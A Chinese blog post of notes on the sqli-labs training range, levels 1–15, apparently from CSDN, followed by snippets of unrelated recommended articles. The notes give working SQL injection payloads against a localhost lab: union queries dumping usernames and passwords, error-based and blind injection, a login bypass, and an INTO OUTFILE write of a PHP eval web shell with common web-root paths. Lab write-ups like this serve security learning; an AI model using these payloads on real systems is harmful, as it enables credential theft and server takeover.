sqli-labs靶场笔记_-stem-的博客-程序员秘密

技术标签: 注入  渗透测试学习  

less-1 单引号的显错注入

关键代码段
在这里插入图片描述
直接输入单引号让其报错
在这里插入图片描述
由代码我们可以看出数据库查询语句只是对id传参进行了单引号保护未对id传参进行任何过滤和检测并且在页面还有查询数据的输出,那就成了一个简答的显错注入。

http://localhost/sqli/less-1/?id=1%27%20order%20by%203%23

在这里插入图片描述http://localhost/sqli/less-1/?id=1%27%20order%20by%204%23
在这里插入图片描述
由此可看出整个数据库仅有三个字段
那么我们用联合查询找输出点

http://localhost/sqli/less-1/?id=-1%27%20union%20select%201,2,3%23

在这里插入图片描述

http://localhost/sqli/less-1/?id=-1%27%20union%20select%201,database(),version()%23

在这里插入图片描述

http://localhost/sqli/less-1/?id=-1%27%20union%20select%201,2%20,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20%23

在这里插入图片描述

http://localhost/sqli/less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20%23

在这里插入图片描述

http://localhost/sqli/less-1/?id=-1%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users%20%23

在这里插入图片描述
此处的0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。

less-2 数字型显错注入

在这里插入图片描述
数字型的注入不用单引号闭合,注入过程参考第一关

less-3 单引号变形显错注入

在这里插入图片描述
通过查看查询语句已知id传参被’和()保护起来了,那我们就可以加上’)闭合前面的语句执行我们的查询语句

http://localhost/sqli/less-3/?id=-1%27)%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users%20%23

在这里插入图片描述

less-4 双引号变形显错注入

在这里插入图片描述
$id重新加了"保护 查询语句中id被加了()保护那我们通过构造”)来闭合

http://localhost/sqli/less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20users%20%23

在这里插入图片描述

less-5 单引号盲注或报错注入

在这里插入图片描述
报错注入

http://localhost/sqli/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%23

在这里插入图片描述

http://localhost/sqli/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1)%23

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

http://localhost/sqli/less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x7e),1)%23

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
盲注
先用时间盲注

http://localhost/sqli/less-5/?id=1%27%20and%20if(length(database())=8,0,sleep(5))%23
http://localhost/sqli/less-5/?id=1%27%20and%20if(ascii(substr(database(),1,1))=115,0,sleep(5))%23

依次猜解判断库名表名字段名和内容
布尔盲注

http://localhost/sqli/less-5/?id=1%27%20and%20length(database())=8%23

在这里插入图片描述
通过页面返回来判断true false

less-6 单引号盲注或报错注入

在这里插入图片描述

http://localhost/sqli/less-6/?id=1%22%20and%20length(database())=8%23

在这里插入图片描述
这一关和上一关除了闭合的符号不同其他的都相同

less-7 导出文件GET字符型注入

在这里插入图片描述
这里插个小扩展:

winserver的iis默认路径c:\Inetpub\wwwroot

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就…/var/www/htm,…/var/www/html/htdocs

phpstudy 就是…\phpstudy\PHPTutorial\WWW\

xammp 就是…\xampp\htdocs
在这里插入图片描述

localhost/sqli/less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\t.php"%23

此处因为文件夹权限问题导致写入失败,可将文件夹移至非系统盘

less-8 单引号盲注

在这里插入图片描述
跟之前的差不多,使用引号闭合即可

http://localhost/sqli/Less-8/?id=1%27%20and%20length(database())=8%23

在这里插入图片描述

less-9 单引号时间盲注

在这里插入图片描述

http://localhost/sqli/Less-9/?id=1%27and%20if(ascii(substr(database(),1,1))=100,0,sleep(5))%23

less-10 双引号时间盲注

在这里插入图片描述

?id=1" and if(ascii(substr(database(),1,1))=100,0,sleep(5))--+

less-11 POST显错注入

在这里插入图片描述

此处是传参方式变成了post并且是有输出的显错注入
那么我们直接输入万能密码
‘ or 1=1#
在这里插入图片描述
那我们直接使用单引号闭合来查询数据
在这里插入图片描述

') union select database(),@@basedir#

less-12 双引号POST显错注入

在这里插入图片描述

“) union select database(),@@basedir#

less-13 单引号变形POST注入

在这里插入图片描述
使用’)闭合此处没有正常回显可利用报错注入和盲注
payload:’) and extractvalue(1,concat(0x7e,(select database()),0x7e)) and (’
在这里插入图片描述

less-14 双引号POST注入

在这里插入图片描述
payload:” and extractvalue(1,concat(0x7e,(select database()),0x7e)) and “
在这里插入图片描述

less-15 单引号POST注入

在这里插入图片描述
payload:

uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left(database(),1)='s',sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+&passwd=admin&submit=Submit
uname=admin' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
 
uname=admin' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+&passwd=admin&submit=Submit
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_33441500/article/details/102654734

智能推荐

Whctf 2017 -UNTITLED- Writeup_baikeng3674的博客-程序员秘密

Whctf 2017 -UNTITLED- Writeup转载请表明出处http://www.cnblogs.com/WangAoBo/p/7541481.html分析:下载下来的附件是一个py脚本,如下 1 from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long 2 ...

MySQL笔记4——SQL去重/笛卡尔积现象_笛卡尔积去重_kerongw的博客-程序员秘密

文章目录1、去重distinct2、连接查询①、连接查询的分类②、笛卡尔积现象1、去重distinct去除查询结果中的重复记录select distinct 字段 from 表名distinct 关键字只能出现在所有字段的最前面示例:查询共有哪些工作岗位统计工作岗位的种类select distinct 字段1,字段2,字段3... from 表名distinct 关键字后面跟多个字段表示所有字段联合去重2、连接查询即多张表联合查询,在实际中为了避免数据的大量重复,导致数据

Struts2 OGNL使用详解_丶人生如梦的博客-程序员秘密

OGNLOGNL ( Object Graph Navigation Language ),对象图导航语言。这是一种强大的表达式语言,通过它可以非常方便的来操作对象属性。 在 Struts2 中,OGNL 需要和 Struts2 标签库配套来使用。OGNL context                               |                    

VMware centOS7下 mkdir文件时出现 Permission denied 权限问题_centos7 mkdir权限_PrinciplesMan的博客-程序员秘密

尝试sudomkdir提示输入密码后被提示当前账户isnotinthesudoersfile(不在超级用户中)。6.usernameALL=(ALL)ALLusername为你的账户名,注意空格。操作完成后,就把当前账户加入了sudo,此时使用命令$sudomkdir可创建文件夹。5.按a键进入编辑,下方出现INSERT。9.输入q退出。2.输入当前账户的登录密码。...

华为员工自曝百万级年终奖,论坛征女友!_程序员大咖的博客-程序员秘密

点击上方“程序员大咖”,选择“置顶公众号”关键时刻,第一时间送达!每年到年底,这个时候,晒年终奖成了朋友圈中必备活动,一大批“别人家的公司”也开始浮出水面,各大别人家的 IT 企业都开启“炫耀”模式,接受万千网友的仰视与嫉妒。近日,在华为论坛心声社区中,有荣耀员工发帖爆料了因华为荣耀 2017 年业绩突飞猛进而提前发布奖金的相关消息,还顺带给自己求女友,妥妥的一个潜力小哥。据任正非近日签发的内部文

__time64_t 转 systemtime_张亚峰的博客-程序员秘密

SYSTEMTIME OnTime64toSystemTime(__time64_t& itime){struct tm *temptm = _localtime64(&itime);SYSTEMTIME st = {1900 + temptm->tm_year, 1 + temptm->tm_mon, temptm->tm_wday, temptm->tm_mday, 

随便推点

CPU处理不同进程之间的调度_cpu调度需要对不同cpu适配吗_Simple Code的博客-程序员秘密

首先,要先了解几个概念:  1、进程是程序的一次执行。  2、进程是资源分配的基本单位(调度单位)。  3、一个进程可以包括多个线程。  4、在单CPU计算机中,有一个资源是无法被多个程序并行使用的:CPU。  5、操作系统调度器:拆分CPU为一段段时间的运行片,轮流分配给不同的程序。  6、操作系统内存管理模块:管理物理内存、虚拟内存相关的事务。  由于CPU同时刻只...

【字符串替换】程序员面试金典——1.5基本字符串压缩_程序员面试金典 基本字符串压缩_Allenlzcoder的博客-程序员秘密

程序员面试金典——1.5基本字符串压缩Solution1:我的答案 原先在数值转化为字符串那一步犯了点错误,这里贴一个比较好的在C++中字符串和数值相互转化的博客 https://www.cnblogs.com/johngu/p/7878029.htmlclass Zipper {public: string zipString(string iniString) { ...

ONNX系列二 --- 使用ONNX使Keras模型可移植_onnx 转keras_寒冰屋的博客-程序员秘密

目录Keras简介快速浏览模型安装和导入转换器将Keras模型转换为ONNX摘要和后续步骤参考文献下载源547.1 KB在关于2020年使用便携式神经网络的系列文章中,您将学习如何将Keras模型转换为便携式ONNX格式。由于ONNX并不是用于构建和训练模型的框架,因此我将首先简要介绍Keras。对于从头开始并考虑将Keras用作构建和训练模型的框架的工程师而言,这将很有用。Keras简介Keras被设计为构建神经网络的接口。这意味着它不包含用于训练和提供模型的运行

Linux问题及解决方案集_懒惰虫儿的博客-程序员秘密

目录:问题1:Linux 命令行报错:-bash:XXX: command not found问题1:Linux 命令行报错:-bash:XXX: command not found问题分析:这是由于在root 的$PATH里包含了 /bin ,/usr/bin,/sbin,/usr/sbin等环境变量。解决方案:export PATH=/usr/bin:/usr/sbin:/bin:...

安全测试与渗透测试区别_安全测试和渗透测试的区别_南乡子S的博客-程序员秘密

安全测试不 同于渗透测试,渗透测试侧重于几个点的穿透攻击,而安全测试是侧重于对安全威胁的建模,系统的对来自各个方面,各个层 面威胁的 全面考量。安全测试可以告诉 您,您的系统可能会来自哪个方面的威胁,正在遭受哪些威胁,以及您的系统已经可抵御什么样的威胁。当然,安全测试涵盖渗透测 试的部分内容。安全测试与渗透 测试的区别主要在:渗透测试考虑的是以黑客方法,从单点上找到利用途径,证明你